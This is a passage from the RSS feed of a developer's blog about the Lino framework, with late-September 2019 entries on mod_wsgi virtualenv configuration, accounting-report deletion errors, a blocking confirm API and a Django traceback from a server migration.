&lt;span class="s1"&gt;&amp;#39;/usr/lib/python3.7&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;/usr/local/lino/lino_local/weleup1/env/lib/python3.7/site-packages&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;/usr/local/lino/lino_local/weleup1/env/src/appy&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;Apache&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/usr/local/lino&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;/usr/local/lino/lino_local/weleup1/env/src/appy&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;/usr/lib/python37.zip&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;/usr/lib/python3.7&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;/usr/lib/python3.7/lib-dynload&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;/usr/local/lib/python3.7/dist-packages&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;/usr/lib/python3/dist-packages&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;IOW Apache takes some parts of the python path from &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/usr/lib/&lt;/span&gt;&lt;/code&gt; where
manage.py takes it from the virtualenv.&lt;/p&gt;
&lt;p&gt;I asked google for &lt;cite&gt;apache python3 virtualenv&lt;/cite&gt;, and  on the following link I
found the explanation:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://modwsgi.readthedocs.io/en/develop/user-guides/virtual-environments.html"&gt;https://modwsgi.readthedocs.io/en/develop/user-guides/virtual-environments.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Not &lt;cite&gt;python-path&lt;/cite&gt; but &lt;cite&gt;python-home&lt;/cite&gt; is the parameter for specifying which
virtualenv mod_wsgi should use!&lt;/p&gt;
&lt;/section&gt;
&lt;section id="some-optimizations-in-avanti"&gt;
&lt;h2&gt;Some optimizations in Avanti&lt;a class="headerlink" href="#some-optimizations-in-avanti" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The three tables based on &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cv.html#lino_xl.lib.cv.HistoryByPerson" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cv.HistoryByPerson&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now have a new
kind of summary view which displays them as a bullet list where each item
includes the field names.  This is used in
&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;avanti/Client/final_report.body.html&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.requests.BaseRequest.show()&lt;/span&gt;&lt;/code&gt; has a new optional keyword argument
&lt;cite&gt;display_mode&lt;/cite&gt; which can be used to ask a summary for a table that does not show
as summary by default. This new option might make &lt;cite&gt;nosummary&lt;/cite&gt; useless : instead
of saying &lt;cite&gt;nosummary=True&lt;/cite&gt; you can say &lt;cite&gt;display_mode=”grid”&lt;/cite&gt; or
&lt;cite&gt;display_mode=”html”&lt;/cite&gt;.  The display modes “grid” and “html” have the same result
in a printed document or in a tested spec.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0930.html</guid><pubDate>Mon, 30 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Friday, September 27, 2019</title><link>https://luc.lino-framework.org/blog/2019/0927.html</link><description>&lt;section id="friday-september-27-2019"&gt;
&lt;h1&gt;Friday, September 27, 2019&lt;a class="headerlink" href="#friday-september-27-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="cannot-print-accounting-report-in-cosi-ee-demo"&gt;
&lt;h2&gt;Cannot print accounting report in cosi-ee demo&lt;a class="headerlink" href="#cannot-print-accounting-report-in-cosi-ee-demo" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/users.html#lino.modlib.users.UserPlan.create_user_plan" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.users.UserPlan.create_user_plan()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; didn’t like it when it found
more than one instances of a plan for a given user.   In
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.cosi3&lt;/span&gt;&lt;/code&gt; it said &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;MultipleObjectsReturned:&lt;/span&gt;
&lt;span class="pre"&gt;get()&lt;/span&gt; &lt;span class="pre"&gt;returned&lt;/span&gt; &lt;span class="pre"&gt;more&lt;/span&gt; &lt;span class="pre"&gt;than&lt;/span&gt; &lt;span class="pre"&gt;one&lt;/span&gt; &lt;span class="pre"&gt;Report&lt;/span&gt; &lt;span class="pre"&gt;--&lt;/span&gt; &lt;span class="pre"&gt;it&lt;/span&gt; &lt;span class="pre"&gt;returned&lt;/span&gt; &lt;span class="pre"&gt;2!&lt;/span&gt;&lt;/code&gt; Now it simply deletes
them all in that case.  This should fix &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3232"&gt;#3232&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But it doesn’t yet. Because the reports cannot be deleted.  It says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;AjaxExceptionResponse&lt;/span&gt; &lt;span class="n"&gt;ProtectedError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Cannot delete some instances of model&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;Report&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;because&lt;/span&gt; &lt;span class="n"&gt;they&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;referenced&lt;/span&gt; &lt;span class="n"&gt;through&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;protected&lt;/span&gt; &lt;span class="n"&gt;foreign&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;AccountEntry.report&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;, &amp;lt;QuerySet [AccountEntry #1 (&amp;#39;AccountEntry object&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;), AccountEntry #2 (&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;AccountEntry&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;), AccountEntry #3&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;AccountEntry object (3)&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;AccountEntry&lt;/span&gt; &lt;span class="c1"&gt;#4 (&amp;#39;AccountEntry object (4)&amp;#39;),&lt;/span&gt;
&lt;span class="n"&gt;AccountEntry&lt;/span&gt; &lt;span class="c1"&gt;#5 (&amp;#39;AccountEntry object (5)&amp;#39;), AccountEntry #6 (&amp;#39;AccountEntry&lt;/span&gt;
&lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;), AccountEntry #7 (&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;AccountEntry&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;), AccountEntry #8&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;AccountEntry object (8)&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;AccountEntry&lt;/span&gt; &lt;span class="c1"&gt;#9 (&amp;#39;AccountEntry object (9)&amp;#39;),&lt;/span&gt;
&lt;span class="n"&gt;AccountEntry&lt;/span&gt; &lt;span class="c1"&gt;#10 (&amp;#39;AccountEntry object (10)&amp;#39;), AccountEntry #11 (&amp;#39;AccountEntry&lt;/span&gt;
&lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;), AccountEntry #12 (&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;AccountEntry&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;), AccountEntry #13&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;AccountEntry object (13)&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;AccountEntry&lt;/span&gt; &lt;span class="c1"&gt;#14 (&amp;#39;AccountEntry object (14)&amp;#39;),&lt;/span&gt;
&lt;span class="n"&gt;AccountEntry&lt;/span&gt; &lt;span class="c1"&gt;#15 (&amp;#39;AccountEntry object (15)&amp;#39;), AccountEntry #16 (&amp;#39;AccountEntry&lt;/span&gt;
&lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;), AccountEntry #17 (&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;AccountEntry&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;), AccountEntry #18&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;AccountEntry object (18)&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;AccountEntry&lt;/span&gt; &lt;span class="c1"&gt;#19 (&amp;#39;AccountEntry object (19)&amp;#39;),&lt;/span&gt;
&lt;span class="n"&gt;AccountEntry&lt;/span&gt; &lt;span class="c1"&gt;#20 (&amp;#39;AccountEntry object (20)&amp;#39;), &amp;#39;...(remaining elements&lt;/span&gt;
&lt;span class="n"&gt;truncated&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;]&amp;gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Indeed the &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/model.html#lino.core.model.Model.allow_cascaded_delete" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;allow_cascaded_delete&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; of the report items weren’t set
correctly! For &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/sheets.html#lino_xl.lib.sheets.PartnerEntry" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;PartnerEntry&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; it was &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;['partner']&lt;/span&gt;&lt;/code&gt;,  for
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/sheets.html#lino_xl.lib.sheets.ItemEntry" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;ItemEntry&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; it was &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;['item']&lt;/span&gt;&lt;/code&gt; and for &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/sheets.html#lino_xl.lib.sheets.AccountEntry" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;AccountEntry&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; it was
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;['account']&lt;/span&gt;&lt;/code&gt;.  This was plain bullshit.  When you inadvertently try to delete
a partner who is mentioned in an accounting report, you want Lino to refuse your
action (not to remove the entry from the report).&lt;/p&gt;
&lt;p&gt;TODO: So from now on it might happen that deleting a partner or an account is
being refused because some old accounting report exists. This might disturb
because Lino doesn’t currently tidy up these reports after some time.  A
&lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-site-manager" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;site manager&lt;/span&gt;&lt;/a&gt; can however go to &lt;span class="menuselection"&gt;Explorer ‣ Accounting
‣ Accounting reports&lt;/span&gt; and delete them manually.&lt;/p&gt;
&lt;p&gt;There is maybe yet another bug in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.sheets.html#module-lino_xl.lib.sheets" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.sheets&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; : &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3233"&gt;#3233&lt;/a&gt;.
Less urgent.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="another-screencast-about-lino"&gt;
&lt;h2&gt;Another screencast about Lino&lt;a class="headerlink" href="#another-screencast-about-lino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I published my second screencast about Lino on YouTube: &lt;a class="reference external" href="https://youtu.be/yT3FEuCEFWU"&gt;Lino Così, das kleine
Buchhaltungsprogramm&lt;/a&gt;.  This second one is a
replacement for the first one which I published yesterday. You can also see at
least one demo effect. Yes, sorry, it’s in German. After all that’s the easiest
language in the world for me…&lt;/p&gt;
&lt;p&gt;Thanks to vokoscreen (“apt install vokoscreen”) for a libre and easy-to-operate
screencast recorder.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0927.html</guid><pubDate>Fri, 27 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Thursday, September 26, 2019</title><link>https://luc.lino-framework.org/blog/2019/0926.html</link><description>&lt;section id="thursday-september-26-2019"&gt;
&lt;h1&gt;Thursday, September 26, 2019&lt;a class="headerlink" href="#thursday-september-26-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="make-ar-confirm-blocking"&gt;
&lt;h2&gt;Make &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/requests.html#lino.core.requests.BaseRequest.confirm" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;ar.confirm&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; blocking&lt;a class="headerlink" href="#make-ar-confirm-blocking" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3228"&gt;#3228&lt;/a&gt; is maybe urgent if the new &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Avanti&lt;/span&gt;&lt;/a&gt; production server turns
out to be too slow when 20 users are working on it.&lt;/p&gt;
&lt;p&gt;After a few hours of sleep I think we can do it.&lt;/p&gt;
&lt;p&gt;The key point is to accept that we cannot store a running function in another
process.  But we can simply make &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/requests.html#lino.core.requests.BaseRequest.confirm" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;ar.confirm&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; blocking.  Which will lead
to more readable application code because instead of writing action logic in a
“twisted” way, we write it as it is meant.&lt;/p&gt;
&lt;p&gt;Writing it the twisted way:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;run_from_ui&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="n"&gt;prepare&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;confirmation&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar2&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="n"&gt;do&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt;
    &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;confirm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Are you sure ?&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Writing it as is is meant:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;run_from_ui&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="n"&gt;prepare&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;confirmation&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;confirm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Are you sure ?&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
        &lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="n"&gt;do&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;We don’t need to change the syntax. The API of &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/requests.html#lino.core.requests.BaseRequest.confirm" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;ar.confirm&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; should remain the same except that it
will now return True or False, and that the &lt;cite&gt;ok_func&lt;/cite&gt; argument would become
optional.&lt;/p&gt;
&lt;p&gt;How to do this?  I started a new module &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.callbacks.html#module-lino.core.callbacks" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.callbacks&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;section id="new-server-for-weleup"&gt;
&lt;h2&gt;New server for weleup&lt;a class="headerlink" href="#new-server-for-weleup" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Back to work on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3095"&gt;#3095&lt;/a&gt; (move weleup to new server). Here is the last
traceback in Apache’s error.log:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/wsgi.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="n"&gt;application&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_wsgi_application&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/django/core/wsgi.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_wsgi_application&lt;/span&gt;
    &lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;set_prefix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/django/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;setup&lt;/span&gt;
    &lt;span class="n"&gt;apps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;populate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;INSTALLED_APPS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/django/apps/registry.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;114&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;populate&lt;/span&gt;
    &lt;span class="n"&gt;app_config&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;import_models&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/django/apps/config.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;211&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;import_models&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models_module&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;import_module&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;models_module_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.7/importlib/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;127&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;import_module&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_bootstrap&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_gcd_import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;:],&lt;/span&gt; &lt;span class="n"&gt;package&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1006&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_gcd_import&lt;/span&gt;
